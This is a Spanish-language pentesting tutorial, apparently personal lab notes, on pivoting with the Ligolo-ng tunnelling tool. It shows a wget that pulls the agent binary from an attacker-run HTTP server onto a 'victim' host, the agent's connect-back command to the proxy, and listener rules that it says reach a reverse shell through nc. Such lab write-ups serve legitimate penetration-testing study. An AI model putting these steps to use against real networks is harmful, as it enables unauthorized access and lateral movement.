¿CÓMO USAR LIGOLO?
Recurso:
Al clonar el repositorio hacemos un:
sudo apt install make
Ejecutamos la palabra el mismo directorio donde descargamos
LIGOLO
Se nos descargo un directorio llamado
dist
Ahora dentro de dist/
deberías encontrar el ejecutable del proyecto. Probá con:
ls -lh
Ahí deberías ver algo como ligolo-agent
, ligolo-proxy
, o algún otro binario (dependiendo del proyecto).

>
🔧 Comando completo:
sudo ip tuntap add dev ligolo mode tun user $USER && sudo ip link set ligolo up && sudo ip route add 10.10.10.0/24 dev ligolo
🔍 Parte por parte:
1. sudo ip tuntap add user $USER mode tun ligolo
✅ Crea una interfaz virtual tipo TUN llamada
ligolo
para el usuario actual.
ip tuntap add
: Comando para crear interfaces TUN/TAP.user $USER
: Asigna la interfaz al usuario que ejecuta el comando.mode tun
: Crea una interfaz tipo TUN (nivel IP, no Ethernet).ligolo
: Nombre de la interfaz que se está creando.
🛠 Esto es necesario para que Ligolo pueda redirigir tráfico a través de esa interfaz.
2. sudo ip link set ligolo up
✅ Activa (levanta) la interfaz
ligolo
.
ip link set
: Gestiona interfaces de red.ligolo
: La interfaz que queremos levantar.up
: Significa "activala".
🔌 Sin esto, la interfaz creada no funcionaría.
3. sudo ip route add 20.20.20.0/24 dev ligolo
✅ Agrega una ruta para que todo el tráfico hacia la red
20.20.20.0/24
pase por la interfazligolo
.
ip route add
: Añade una ruta nueva.20.20.20.0/24
: Especifica la red de destino (una subred interna, por ejemplo).dev ligolo
: Indica que el tráfico hacia esa red se debe enviar a través del dispositivoligolo
.
🧭 Esto permite hacer pivoting/redirección de tráfico hacia redes internas por medio del túnel creado.
📦 En resumen:
tuntap add
Crea la interfaz virtual ligolo
link set ... up
Activa esa interfaz
route add ...
Redirige tráfico de una subred específica a través de ligolo
Bien ahora tenemos que llevar el ./ligolo_agent a la maquina victima para establecer la conexión:
peter@HappyJump:/tmp$
ligolo-ng-agent-windows_amd64.exe ligolo_agent
ligolo-ng-proxy-windows_amd64.exe ligolo_proxy
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.175.130 - - [09/Apr/2025 10:49:21] "GET /ligolo_agent HTTP/1.1" 200 -
peter@HappyJump:/tmp$ wget http://192.168.175.128:8080/ligolo_agent
chmod +x ligolo_agent
Ahora en la máquina atacante:
Activamos ligolo_proxy:
./ligolo_proxy -selfcert

En la maquina victima:
./ligolo_agent -connect 192.168.175.128:11601 -ignore-cert
Le damos al enter:

Y en nuestra maquina atacante se genera:

Ahora comandos:
ctrl + L = limpiar.
session = Todas las sesiones activas:

Enter para entrar a la sesion:

Comando
start --tun ligolo
para traer el segmento de red:

METODOLOGIA REGLAS DE LISTENERS:
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1234
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
¿WHY?
🧠 ¿Cómo accedo después?
Una vez que tenés esos listeners activos, podés acceder directamente desde tu navegador, netcat, etc. por ejemplo:
http://localhost:8080
→ accede al servicio web de la víctima.nc localhost 1234
→ conecta a una reverse shell en la víctima.nc localhost 11601
→ conecta a lo que sea que esté corriendo ahí.
Ver mis listeners: listener_list

ELIMINAR TODO EL SEGMENTO DE RED:
sudo ip route del 20.20.20.0/24 dev ligolo2 && sudo ip link set ligolo2 down && sudo ip tuntap del dev ligolo2 mode tun}
O también se puede crear un archivo en bash para hacer todo el procedimiento automatico:
#!/bin/bash
echo "[*] Eliminando rutas asociadas a ligolo..."
sudo ip route del 10.10.10.0/24 dev ligolo 2>/dev/null
sudo ip route del 20.20.20.0/24 dev ligolo 2>/dev/null
echo "[*] Bajando interfaz ligolo si existe..."
sudo ip link set ligolo down 2>/dev/null
echo "[*] Eliminando interfaz ligolo (TUN/TAP)..."
sudo ip tuntap del dev ligolo mode tun 2>/dev/null
echo "[✓] Interfaz ligolo eliminada (si existía)."
Para ejecutarlo:
chmod +x cleanup_ligolo.sh
./cleanup_ligolo.sh
Last updated